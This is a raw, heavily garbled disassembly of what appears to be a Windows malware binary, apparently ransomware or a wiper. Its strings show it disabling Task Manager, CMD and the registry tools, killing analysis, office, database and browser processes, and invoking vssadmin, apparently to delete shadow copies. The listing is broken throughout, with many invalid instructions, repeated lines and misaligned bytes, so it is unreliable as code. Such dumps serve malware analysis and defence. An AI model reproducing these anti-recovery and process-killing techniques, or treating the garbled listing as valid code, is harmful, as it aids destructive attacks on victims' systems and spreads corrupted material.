cmp eax, 2
jne 0x14002c9c4
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x170], rax
mov eax, dword [rsp + 0x187]
mov dword [rsp + 0x177], eax
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp qword [rsp + 0x98], 0
je 0x14002c99d
mov r8, qword [rsp + 0x90]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov eax, dword [rsp + 0x177]
mov dword [rbp + 0x17], eax
mov rax, qword [rsp + 0x170]
mov qword [rbp + 0x10], rax
mov qword [rbp], rbx
mov qword [rbp + 8], r12
mov byte [rbp + 0x1b], dil
jmp 0x14002b0e7
mov rcx, qword [rsp + 0x68]
call fcn.1400adc10
jmp 0x14002c9f3
mov qword [rsp + 0x60], 0x16
mov rdx, qword [rsp + 0xb0]
mov r8, qword [rsp + 0xb8]
lea rcx, [rsp + 0x60]
call fcn.1400adb90
mov rdi, rax
test r12, r12
je 0x14002b05e
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14002b05e
lea rcx, [rsp + 0x60]
mov rdx, rsi
call section..text
movzx eax, byte [rsp + 0x60]
test eax, eax
jne 0x14002ca57
movzx eax, byte [rsp + 0x61]
mov byte [rsp + 0xc8], 1
mov byte [rsp + 0xc9], al
movzx eax, al
cmp al, 0x2c
ja 0x14002caa4
bt r15, rax
jae 0x14002ca93
mov byte [rsp + 0xc8], 0
jmp 0x14002ca16
cmp eax, 2
jne 0x14002ca84
mov qword [rsp + 0x60], 3
mov rdx, qword [rsp + 0xb0]
mov r8, qword [rsp + 0xb8]
lea rcx, [rsp + 0x60]
call fcn.1400adb90
mov r14, rax
jmp 0x14002cab8
mov rcx, qword [rsp + 0x68]
call fcn.1400adc10
mov r14, rax
jmp 0x14002cab8
cmp rax, 0x2c
jne 0x14002caa4
mov qword [rsp + 0x60], 0x15
jmp 0x14002ca65
cmp eax, 0x7d
jne 0x14002cb5a
mov byte [rsp + 0xc8], 0
xor r14d, r14d
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], r12
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x70], rax
movzx eax, byte [rsp + 0x47]
mov byte [rsp + 0x78], al
movzx eax, byte [rsp + 0x5f]
mov byte [rsp + 0x79], al
movzx eax, byte [rsp + 0x5e]
mov byte [rsp + 0x7a], al
mov byte [rsp + 0x7b], dil
mov qword [rsp + 0x80], r14
cmp dil, 2
jne 0x14002cb1b
mov dil, 2
test r14, r14
je 0x14002c8c5
lea rcx, [rsp + 0x80]
call fcn.14000b540
jmp 0x14002c8c5
test r14, r14
je 0x14002cb43
mov dil, 2
test r12, r12
je 0x14002c8b8
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14002c8b8
lea rax, [rsp + 0x70]
mov ecx, dword [rax + 7]
mov dword [rsp + 0x15f], ecx
mov rax, qword [rax]
jmp 0x14002c8bd
mov qword [rsp + 0x60], 0x16
jmp 0x14002ca65
add byte [rax], al
mov r8d, 3
mov rdx, rdi
call fcn.1400a9e20
mov rdi, qword [rbp + 0x140]
mov r14, qword [rbp + 0x130]
add byte [rax], al
mov byte [r14 + rdi + 2], 0xbd
mov word [r14 + rdi], 0xbfef
mov edi, 0x3c78348
mov edi, 0x3c78348
mov qword [rbp + 0x140], rdi
movups xmm0, xmmword [rbp + 0xd8]
test eax, ebx
add byte [rax], al
add byte [rdi], cl
adc dword [rbp + 0xc8], eax
test eax, ebx
add byte [rax], al
add byte [rdi], cl
adc dword [rbp + 0xc8], eax
lea r13, [rbp + 0xc8]
lodsd eax, dword [rsi]
enter 0, 0
mov r15, rdi
jmp 0x14002f176
mov r15, qword [rbp + 0x140]
add byte [rbx + rcx*4 - 0x4b], cl
xor byte [rcx], al
add byte [rax], al
mov r14, qword [rbp + 0x130]
mov byte [r14 + r15 + 2], 0xbd
mov word [r14 + r15], 0xbfef
add r15, 3
invalid
add bh, byte [rbp + 0x4c74366]
out dx, eax
mov edi, 0x3c78349
invalid
add ecx, dword [rcx + rcx*4 - 0x43]
add dword [rax], eax
add byte [rax - 0x73], cl
lea ecx, [rax]
mov qword [rbp + 0x140], r15
mov dword [rbp + 0x140], edi
lea rcx, [rbp + 0x108]
mov rdx, r13
add dword [rax], eax
add byte [rcx + rcx*4 - 0x16], cl
call fcn.140045900
mov rdi, qword [rbp + 0x108]
test rdi, rdi
je 0x14002f21e
dec dword [rdi]
test byte [rcx + 0x48000000], cl
mov ebx, dword [rbp + 0x110]
mov rbx, qword [rbp + 0x110]
add byte [rax], al
mov r12, qword [rbp + 0x120]
mov rax, qword [rbp + 0x138]
sub rax, r15
cmp rax, rbx
jae 0x14002f1d2
lea rcx, [rbp + 0x130]
mov rdx, r15
add dword [rax], eax
add byte [rcx + rcx*4 - 6], cl
mov r8, rbx
call fcn.1400a9e20
mov r14, qword [rbp + 0x130]
add byte [rax], al
add byte [rax], al
mov r15, qword [rbp + 0x140]
add dword [rax], eax
add byte [rbx - 0x73], cl
or al, 0x3e
lea rcx, [r14 + r15]
mov rdx, rdi
mov r8, rbx
mov eax, ebx
mov eax, ebx
call sub.VCRUNTIME140.dll_memcpy
add r15, rbx
mov qword [rbp + 0x140], r15
mov dword [rbp + 0x140], edi
add byte [rcx + 1], cl
fisttp word [rcx + rcx*4 - 0x43]
mov dword [rbp + 0x140], edi
test r12, r12
je 0x14002f176
mov rax, qword [rbp + 0x138]
sub rax, r15
mov dword [rbp + 0x140], edi
mov ebp, 0x140
test r12, r12
je 0x14002f176
mov rax, qword [rbp + 0x138]
sub rax, r15
cmp rax, 2
clc
add cl, byte [rdi]
invalid
xchg dword [rbx - 1], edx
invalid
invalid
ja 0x14002f157
invalid
mov r8d, 3
lea rcx, [rbp + 0x130]
mov rdx, r15
call fcn.1400a9e20
invalid
add cl, ch
jmp case.0x140075d15.269
xor bh, bh
invalid
mov r14, qword [rbp + 0x130]
mov r12, qword [rbp + 0x138]
mov esp, dword [rbp + 0x138]
mov esp, dword [rbp + 0x138]
test r14, r14
mov rdi, r14
cmove rdi, r12
test r15, r15
je 0x14002f28b
js 0x14002f364
movzx eax, byte [0x1400f92c0]
mov dh, 5
js 0x14002f1e6
or al, 0
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x14002f269
call qword [sym.imp.kernel32.dll_GetProcessHeap]
adc eax, 0x81196
test rax, rax
je 0x14002f27c
mov rcx, rax
mov qword [0x1400f91f8], rax
invalid
add byte [rcx], dh
ror byte [rbp - 0x77], cl
clc
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
invalid
jne 0x14002f290
sal byte [rbp + 0x14], 0xb9
add dword [rax], eax
add byte [rax], al
mov ecx, 1
mov rdx, r15
call fcn.1400a9e00
stosd dword [rdi], eax
invalid
add byte [rdi], cl
invalid
stosd dword [rdi], eax
invalid
mov ebx, 1
mov rcx, rbx
mov rdx, rdi
cli
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsi], rbx
mov qword [rsi + 8], r15
mov qword [rsi + 0x10], r15
invalid
test r14, r14
mov rbx, qword [rbp + 0xf8]
mov r15, qword [rbp + 0x100]
je 0x14002f2d3
test r12, r12
je 0x14002f2d3
mov rcx, qword [0x1400f91f8]
lahf
or al, 0
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, qword [rbp + 0xe8]
mov byte [r8], 0
cmp qword [rbp + 0xf0], 0
lock add byte [rax], al
add byte [rax], al
lock add byte [rax], al
add byte [rax], al
je 0x14002f2f7
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [rbx], 0
test r15, r15
je 0x14002f311
movaps xmm6, xmmword [rbp + 0x150]
add rsp, 0x1e8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov edx, 0x20
call fcn.1400a9e00
ud2
call fcn.1400402a0
ud2
pop rbp
pop r14
pop r15
pop rbp
ret
mov rsi, r9
mov rdi, r8
mov rbx, rdx
mov r14, rcx
lea rcx, [rsp + 0x40]
and al, 0x40
invalid
and al, 0x40
mov rdx, r14
mov r8, rbx
call case.0x1400861b2.392
cmp dword [rsp + 0x40], 2
and al, 0x40
add dh, byte [rbp + 0x4e]
and al, 0x40
add dh, byte [rbp + 0x4e]
mov rax, qword [rsp + 0x48]
lea rcx, [rsp + 0x38]
and al, 0x38
and al, 0x38
mov qword [rsp + 0x38], rax
mov byte [rsp + 0x30], 1
call fcn.14007a090
lea rcx, [rsp + 0x40]
mov rdx, r14
mov r8, rbx
call case.0x1400861b2.392
cmp dword [rsp + 0x40], 2
add dh, byte [rbp + 0x4e]
add dh, byte [rbp + 0x4e]
mov rax, qword [rsp + 0x48]
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x38], rax
mov byte [rsp + 0x30], 1
call fcn.14007a090
jmp 0x14002f4d5
add byte [rax], al
invalid
add byte [rax], al
add byte [rbx + 0x802484], cl
add byte [rax], al
mov eax, dword [rsp + 0x80]
test eax, 0x400
sete cl
test dword [rsp + 0x84], 0x20000000
sete dl
or dl, cl
cmp dl, 1
jne 0x14002f418
add al, 0
add byte [rdi], cl
xchg esp, eax
sal edi, 0x84
and al, 0x84
add byte [rax], al
add byte [rax], al
add byte [rax], al
and byte [rdi], cl
xchg esp, eax
ret 0xca08
and eax, 0x10
jne 0x14002f418
mov byte [rsp + 0x20], 0
jmp 0x14002f4ab
invalid
mov eax, dword cs:[rsp + 0x80]
mov eax, dword [rsp + 0x80]
test eax, 0x400
sete cl
test dword [rsp + 0x84], 0x20000000
sete dl
or dl, cl
cmp dl, 1
jne 0x14002f4d5
and eax, 0x10
je 0x14002f4d5
invalid
invalid
mov byte [rsp + 0x20], 1
add dword [rcx + rcx*4 - 0xf], ecx
mov rcx, r14
mov rdx, rbx
mov r8, rdi
mov r9, rsi
int1
int1
call fcn.1400968e0
test rax, rax
je 0x14002f4d5
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x14002f4d5
test rcx, rcx
jne 0x14002f4e2
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r14
ret
mov rsi, rax
dec rsi
mov rdi, qword [rax - 1]
mov rbx, qword [rax + 7]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14002f519
cmp qword [rbx + 0x10], 0x11
jb 0x14002f507
mov rdi, qword [rdi - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rsi
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r14
jmp qword [sym.imp.kernel32.dll_HeapFree]
push rbp
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x688
movaps xmmword [rsp + 0x670], xmm6
mov ah, 0x24
jo 0x14002f55f
add byte [rax], al
mov ah, 0x24
jo 0x14002f55f
add byte [rax], al
mov r13, r8
mov rsi, rdx
mov esi, edx
mov rdi, rcx
movzx eax, byte [rdx + 0x58]
lea rcx, [0x1400ef6ac]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rdx, [rsi + 0x60]
lea rcx, [rsp + 0x260]
mov r8, r13
call fcn.14002e430
cmp qword [rsp + 0x260], 0
je 0x14002f998
test ch, bh
add eax, dword [rax]
invalid
test ch, bh
add eax, dword [rax]
add byte [rax + 0x8bce903], dh
add byte [rax], al
mov al, 3
jmp 0x14002fe5e
lea r12, [rsi + 0x70]
movzx eax, byte [rsi + 0x70]
lea rcx, [0x1400ef6d0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rbx, qword [rsi + 0x60]
mov r14, qword [rsi + 0x68]
lea rcx, [rsp + 0x260]
call fcn.14002edc0
invalid
dec dword [rbx + rcx*4 - 0x44]
and al, 0x60
add al, byte [rax]
add byte [rbp - 0x7b], cl
dec dword [rdi]
invalid
invalid
and eax, dword [rax]
invalid
invalid
mov r13, qword [rsp + 0x268]
mov r9, qword [rsp + 0x270]
mov ecx, dword [rsp + 0x270]
mov ecx, dword [rsp + 0x270]
lea rcx, str.ChromeOperaFirefoxEdge
mov edx, 6
mov r8, r15
call fcn.14000d250
fdiv st(5), st(0)
inc dword [rax + rax*8 + 0x8c9840f]
add byte [rax], al
fdiv st(5), st(0)
inc dword [rax + rax*8 + 0x8c9840f]
add byte [rax], al
test r13, r13
je 0x14002f623
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
or byte [rax], al
mov qword [rsi + 0x78], rbx
mov qword [rsi + 0x80], r14
lea r13, [rsi + 0xb0]
mov byte [rsi + 0xb0], 0
jmp 0x14002fe04
ret
invalid
add byte [rax], al
ret
movzx eax, byte [rsi + 0x3b8]
test eax, eax
je 0x14002f66f
cmp eax, 3
je 0x14002f8f2
lea rcx, str._async_fn__resumed_after_completion
lea r8, [0x1400bb9b8]
or byte [rax], al
or byte [rax], al
mov edx, 0x23
call fcn.1400aa0a0
ud2
mov r14, qword [rsi + 0x60]
mov r15, qword [rsi + 0x68]
movzx eax, byte [0x1400f92c0]
add byte [rax - 0x75], cl
or eax, 0xc9b73
add byte [rax - 0x7b], cl
leave
add byte [rax - 0x7b], cl
leave
jne 0x14002f6a3
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
test eax, eax
test eax, eax
je 0x140031fd4
mov rcx, rax
mov qword [0x1400f91f8], rax
wait
or al, 0
wait
or al, 0
mov r8d, 0xb
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
or eax, 0x85480008
ror byte [rdi], 0x84
sbb ch, byte [rcx]
add byte [rax], al
or eax, 0x85480008
ror byte [rdi], 0x84
sbb ch, byte [rcx]
add byte [rax], al
movabs rcx, 0x2e64617065746f6e
mov qword [rax], rcx
mov dword [rax + 7], 0x6578652e
invalid
js 0x14002f733
mov qword [rsi + 0xa0], rax
mov qword [rsi + 0xa8], 0xb
invalid
test al, 0
add byte [rax], al
or eax, dword [rax]
add byte [rax], al
mov qword [rsi + 0xb0], 0xb
mov byte [rsi + 0xb8], 0
mov qword [rsi + 0x100], 8
xchg byte [rax], al
add dword [rax], eax
add byte [rax], cl
add byte [rax], al
add byte [rax - 0x39], cl
xchg al, al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
xchg al, dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi - 0x39], ah
xchg al, bl
add byte [rax], al
add byte [rax], al
add byte [rax], al
xchg byte [rax], al
add dword [rax], eax
add byte [rax], cl
add byte [rax], al
add byte [rax - 0x39], cl
xchg al, al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
xchg al, dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi - 0x39], ah
xchg al, bl
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
xchg byte [rax], cl
add dword [rax], eax
add dh, al
xchg al, bh
add byte [rax], al
add byte [rdx], al
xorps xmm0, xmm0
movups xmmword [rsi + 0x108], xmm0
mov byte [rsi + 0xf8], 2
mov dword [rsi + 0x130], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
mov word [rsi + 0x134], 0
mov dword [rsi + 0x70], 6
mov dword [rsi + 0x80], 6
xchg byte [rax + 0x6000000], al
add byte [rax], al
add bh, al
xchg byte [rax + 0x6000000], dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add bh, al
jo 0x14002f74a
add byte [rax], al
add bh, al
xchg byte [rax + 0x6000000], al
add byte [rax], al
add byte [rsi], al
invalid
invalid
add byte [rax], al
add bh, al
xchg byte [rax + 0x6000000], dl
add byte [rax], al
add byte [rax], al
invalid
invalid
xchg byte [rax], bl
add dword [rax], eax
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
mov qword [rsi + 0x118], 0
add byte [rax], al
add byte [rax - 0x39], cl
xchg byte [rax], ch
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add dh, al
xchg byte [rax], bh
cmp byte [rcx], al
invalid
mov qword [rsi + 0x128], 0
mov byte [rsi + 0x138], 0
cmp byte [rcx], al
add byte [rax], al
invalid
cmp byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x82e04
add byte [rax], al
lea rdx, [0x1400b2583]
lea rcx, [rsp + 0x70]
lea ecx, [rsp + 0x70]
mov r8d, 0xb
mov eax, 0xb
call fcn.140080100
movzx eax, byte [rsp + 0x88]
and al, 0x88
add byte [rax], al
add byte [rdx + rax], bh
add eax, 0x84b60f00
and al, 0x88
add byte [rax], al
add byte [rdx + rax], bh
je 0x140031fe5
mov r12, qword [rsp + 0x70]
and al, 0x70
mov rbx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
add byte [rax], al
invalid
add byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax + rax*8 + 0x4d9840f], al
add byte [rax], al
test al, al
je 0x14002fc92
mov qword [rsp + 0x68], rdi
mov rdi, r13
mov qword [rsp + 0x20], 7
and byte [rdi], al
add byte [rax], al
add byte [rbp + rcx*4 + 0xd], cl
mov ebp, dword [rax + rcx]
invalid
and byte [rdi], al
add byte [rax], al
invalid
add byte [rbp + rcx*4 + 0xd], cl
mov ebp, dword [rax + rcx]
lea ecx, [0x1400b245c]
add byte [rax - 0x73], cl
and al, 0x70
lea rcx, [rsp + 0x70]
mov rdx, r12
call fcn.140086540
mov r13, qword [rsp + 0x70]
and al, 0x70
mov rbp, qword [rsp + 0x80]
add byte [rax], 0
add byte [rax - 0x73], cl
mov word [rax + riz*4], fs
add dword [rax], eax
add byte [rcx + rcx*4 - 0xe], cl
invalid
and al, 0x80
add byte [rax], al
add byte [rax], 0
add byte [rax - 0x73], cl
mov word [rax + riz*4], fs
add dword [rax], eax
add byte [rcx + rcx*4 - 0xe], cl
invalid
mov r8, r15
mov r8, r15
call fcn.14000fa90
mov r14, qword [rsp + 0x1a0]
mov esi, dword [rsp + 0x1a0]
mov esi, dword [rsp + 0x1a0]
movabs al, byte [0xb024848b48000001]
add dword [rax], eax
add byte [rax - 0x77], cl
and al, 0x20
and al, 0x20
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0x20], rax
and al, 0x20
and al, 0x20
lea rcx, [rsp + 0x30]
mov rdx, r13
mov r8, rbp
invalid
mov r9, r14
call 0x128f4816f
sbb ch, byte [rbp + 5]
add byte [rax - 0x7d], cl
invalid
invalid
mov esp, 0x1a824
mov ecx, esi
call fcn.140086540
cmp qword [rsp + 0x1a8], 0
add byte [rax], al
je 0x14002f843
mov rcx, qword [0x1400f91f8]
xor edx, edx
ror byte [rbp - 0x77], cl
invalid
ror byte [rbp - 0x77], cl
invalid
mov eax, esi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x78], 0
je 0x14002f85d
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r13
mov eax, ebp
mov eax, ebp
call 0x14bae0e5a
or byte [rax], al
call qword [sym.imp.kernel32.dll_HeapFree]
test rbx, rbx
je 0x14002f874
invalid
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
or ecx, dword [rax]
invalid
or ecx, dword [rax]
add byte [rbp + rcx*4 + 0x76], cl
jo 0x14002f7f9
or byte [rax], al
lea r14, [rsi + 0x70]
cmp byte [rsp + 0x48], 2
invalid
invalid
jl 0x14002f89f
add cl, byte [rcx - 0x77]
std
mov r13, rdi
je 0x14002f8b3
mov r15, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
mov eax, dword [rsp + 0x40]
mov eax, dword [rsp + 0x40]
and al, 0x40
and al, 0x40
mov rcx, r14
mov rdx, r15
call fcn.140096b50
test rbx, rbx
je 0x14002f8b3
mov rcx, qword [0x1400f91f8]
cdq
or al, 0
xor edx, edx
mov r8, r15
mov eax, edi
mov eax, edi
call qword [sym.imp.kernel32.dll_HeapFree]
mov dword [rsi + 0x130], 0x8000000
lea r15, [rsp + 0x260]
mov rcx, r15
stc
stc
mov rdx, r14
call fcn.14009a580
mov byte [rsp + 0x4d0], 0
lea rcx, [rsi + 0x140]
add byte [rax], al
add byte [rcx - 0x48], al
js 0x14002f8e5
mov r8d, 0x278
add byte [rax], al
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov rdi, qword [rsp + 0x68]
lea r12, [rsi + 0x3b8]
lea r14, [rsi + 0x140]
lea rcx, [rsp + 0x70]
mov rdx, r14
mov r8, r13
call fcn.1400145f0
mov ebp, dword [rsp + 0x70]
cmp ebp, 2
jne 0x14002f925
mov byte [r12], 3
mov al, 8
jmp 0x14002fe5e
mov rbx, qword [rsp + 0x78]
and al, 0x78
mov rcx, r14
call fcn.14000bbb0
test ebp, ebp
je 0x14002fc84
movzx eax, byte [0x1400f92c0]
jg 0x14002f8d8
or al, 0
mov rcx, qword [0x1400f91f8]
mov al, 0x98
or al, 0
test rcx, rcx
jne 0x14002f966
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140031fe9
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140031fe9
mov r14, rax
mov qword [rax], rbx
lea rcx, [rsi + 0x70]
call fcn.14000ad10
lea r15, [0x1400b0c00]
jmp 0x1400318f5
pop rbp
invalid
add byte [rax], al
pop rbp
invalid
mov r14, qword [rsp + 0x268]
mov r15, qword [rsp + 0x270]
cmp byte [rsi + 0x408], 3
jne 0x14002f9e9
lea rcx, [rsi + 0x188]
call fcn.14000bbb0
cmp qword [rsi + 0x178], 0
je 0x14002f9dd
mov r8, qword [rsi + 0x170]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsi + 0xa0]
call fcn.14000ad10
test r14, r14
jne 0x140031914
invalid
add byte [rax - 0x73], cl
lea rax, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgrdelSOFTWAREPoliciesMicrosoftWindowsSystemDisableCMDDisableRegistryToolstaskmgr.exeprocesshacker.exeregedit.execode.exeexcel.exepowerpnt.exewinword.exemsaccess.exemspub.exevirtualboxvm.exevirtualbox.exechrome.execs2.exesteam.exepostgres.exemysqlworkbench.exeoutlook.exewindowsterminal.exesublime_text.exemicrosoft.photos.exephotosapp.exe
add eax, 0x8c3d7
mov qword [rsi + 0x60], rax
mov qword [rsi + 0x68], 0x39
lea rax, [0x1400bbe09]
mov qword [rsi + 0x70], rax
mov qword [rsi + 0x78], 0xe
mov dword [rsi + 0x400], 0
xchg byte [rax], al
add al, 0
add byte [rax], al
add byte [rax], al
add dh, al
xchg byte [rax], cl
add al, 0
add byte [rax], al
xchg byte [rax], al
add al, 0
add byte [rax], al
add byte [rax], al
add dh, al
xchg byte [rax], cl
add al, 0
add byte [rax], al
lea rdx, [rsi + 0x60]
lea rcx, [rsp + 0x260]
mov r8, r13
mov eax, ebp
mov eax, ebp
call fcn.14002e430
cmp qword [rsp + 0x260], 0
invalid
add al, byte [rax]
add byte [rax], al
je 0x14002fa4f
invalid
mov al, 4
jmp 0x14002fe5e
mov r14, qword [rsp + 0x268]
mov esi, dword [rsp + 0x268]
and al, 0x68
add al, byte [rax]
add byte [rbx + rcx*4 - 0x44], cl
and al, 0x70
add al, byte [rax]
add byte [rax + 0x408be], al
add byte [rbx], al
mov r15, qword [rsp + 0x270]
cmp byte [rsi + 0x408], 3
jne 0x14002faa0
lea rcx, [rsi + 0x188]
lea ecx, [rsi + 0x188]
call fcn.14000bbb0
cmp qword [rsi + 0x178], 0
je 0x14002fa94
mov r8, qword [rsi + 0x170]
mov rcx, qword [0x1400f91f8]
add byte [rcx], dh
sar bh, cl
adc eax, 0x80974
or dword [rax], ecx
invalid
add byte [rcx], dh
sar bh, cl
adc eax, 0x80974
or dword [rax], ecx
invalid
or dword [rax], ecx
add byte [rax - 0x73], cl
mov fs, word [rax - 0x18000000]
jo 0x14002fa50
lea rcx, [rsi + 0xa0]
call fcn.14000ad10
std
dec dword [rbp - 0x7b]
invalid
test r14, r14
test esi, esi
test byte [rdi], 0x85
imul ebx, dword [rsi], 0
add byte [rax - 0x73], cl
add eax, 0x8c36a
jne 0x140031914
lea rax, [0x1400bbe1a]
mov qword [rsi + 0x60], rax
mov qword [rsi + 0x68], 0x2a
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x8c381
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x8c381
mov qword [rsi + 0x70], rax
mov qword [rsi + 0x78], 0xa
js 0x14002fad6
add byte [rax], al
add bh, al
xchg byte [rax], al
add al, 0
add byte [rax], al
add byte [rax], al
add dh, al
xchg byte [rax], cl
or byte [rax + rax], al
add byte [rax], al
js 0x14002fad6
add byte [rax], al
add bh, al
xchg byte [rax], al
add al, 0
add byte [rax], al
add byte [rax], al
add dh, al
xchg byte [rax], cl
or byte [rax + rax], al
or byte [rax + rax], al
add byte [rax], al
lea rdx, [rsi + 0x60]
lea rcx, [rsp + 0x260]
mov r8, r13
call fcn.14002e430
invalid
dec dword [rax - 0x7d]
mov esp, 0x26024
add byte [rax], al
invalid
dec dword [rax - 0x7d]
mov esp, 0x26024
add byte [rax], al
je 0x14002fb06
mov al, 5
jmp 0x14002fe5e
pop rax
add eax, dword [rax]
invalid
pop rax
add eax, dword [rax]
add byte [rbx + rcx*4 - 0x4c], cl
and al, 0x68
add al, byte [rax]
add byte [rbx + rcx*4 - 0x44], cl
mov edi, dword [rsp + 0x270]
cmp byte [rsi + 0x408], 3
mov r14, qword [rsp + 0x268]
mov r15, qword [rsp + 0x270]
mov edi, dword [rsp + 0x270]
mov edi, dword [rsp + 0x270]
cmp byte [rsi + 0x408], 3
jne 0x14002fb57
lea rcx, [rsi + 0x188]
call fcn.14000bbb0
cmp qword [rsi + 0x178], 0
je 0x14002fb4b
mov r8, qword [rsi + 0x170]
mov rcx, qword [0x1400f91f8]
add byte [rax - 0x75], cl
or eax, 0xc96b5
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsi + 0xa0]
call fcn.14000ad10
test r14, r14
jne 0x140031914
lea rax, str.vssadmin
loope 0x14002fbbd
or al, byte [rax]
mov qword [rsi + 0x60], rax
mov qword [rsi + 0x68], 8
lea rax, [0x1400d5450]
mov qword [rsi + 0x70], rax
mov qword [rsi + 0x78], 4
mov dword [rsi + 0x78], 4
mov dword [rsi + 0x78], 4
mov byte [rsi + 0x80], 0
lea rdx, [rsi + 0x60]
lea rcx, [rsp + 0x260]
call fcn.14002e900
cmp qword [rsp + 0x260], 0
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
je 0x14002fbb0
mov al, 6
jmp 0x14002fe5e
mov r14, qword [rsp + 0x268]
test r14, r14
je 0x14003131e
add byte [rax], al
add al, byte [rax]
add byte [rbp - 0x7b], cl
test byte [rdi], 0x84
pop rbp
invalid
mov r15, qword [rsp + 0x270]
cmp qword [rsi + 0x20], 0
jne 0x14003191b
invalid
add cl, ch
push rbp
sbb eax, 0x8d4c0000
scasb al, byte [rdi]
mov al, 0
add byte [rax], al
movzx eax, byte [rsi + 0xb0]
test eax, eax
je 0x14002fd9d
invalid
jmp 0x14003192e
add byte [rbx - 0x7bf0fc08], al
fiadd word [rcx]
add byte [rax], al
cmp eax, 3
je 0x14002fdd6
lea rcx, str._async_fn__resumed_after_completion
lea r8, [0x1400bb968]
mov edx, 0x23
call fcn.1400aa0a0
ud2
add byte [rbx - 0x7bf0fc08], al
add dword [rax], eax
add byte [rax - 0x73], cl
or eax, 0x81d88
lea r8, [0x1400bb988]
mov edx, 0x23
call fcn.1400aa0a0
ud2
lea r13, [rsi + 0xb0]
movzx eax, byte [rsi + 0xb0]
test eax, eax
je 0x14002fdf9
cmp eax, 3
je 0x14002fe32
lea rcx, str._async_fn__resumed_after_completion
lea r8, [0x1400bb948]
mov edx, 0x23
call fcn.1400aa0a0
ud2
lea rcx, [rsi + 0x70]
call fcn.14000ad10
jmp 0x14002fe8c
test r8, r8
je 0x14002f7b9
mov rbx, qword [rsi + 0x78]
mov r14, qword [rsi + 0x80]
mov qword [rsi + 0x88], rbx
mov qword [rsi + 0x90], r14
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x8bba3
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x8bba3
mov qword [rsi + 0x98], rax
mov qword [rsi + 0xa0], 5
mov byte [rsi + 0xa8], 0
lea rdx, [rsi + 0x88]
lea rcx, [rsp + 0x260]
call fcn.14002d220
cmp qword [rsp + 0x260], 0
je 0x14002fe68
mov al, 4
jmp 0x14002fe53
mov rbx, qword [rsi + 0x78]
mov r14, qword [rsi + 0x80]
mov qword [rsi + 0x88], rbx
mov qword [rsi + 0x90], r14
lea rax, [0x1400bb93e]
mov qword [rsi + 0x98], rax
add byte [rax - 0x39], cl
xchg byte [rax + 0x6000000], ah
add byte [rax], al
add dh, al
xchg byte [rax], ch
add byte [rax - 0x39], cl
xchg byte [rax + 0x6000000], ah
add byte [rax], al
add dh, al
xchg byte [rax], ch
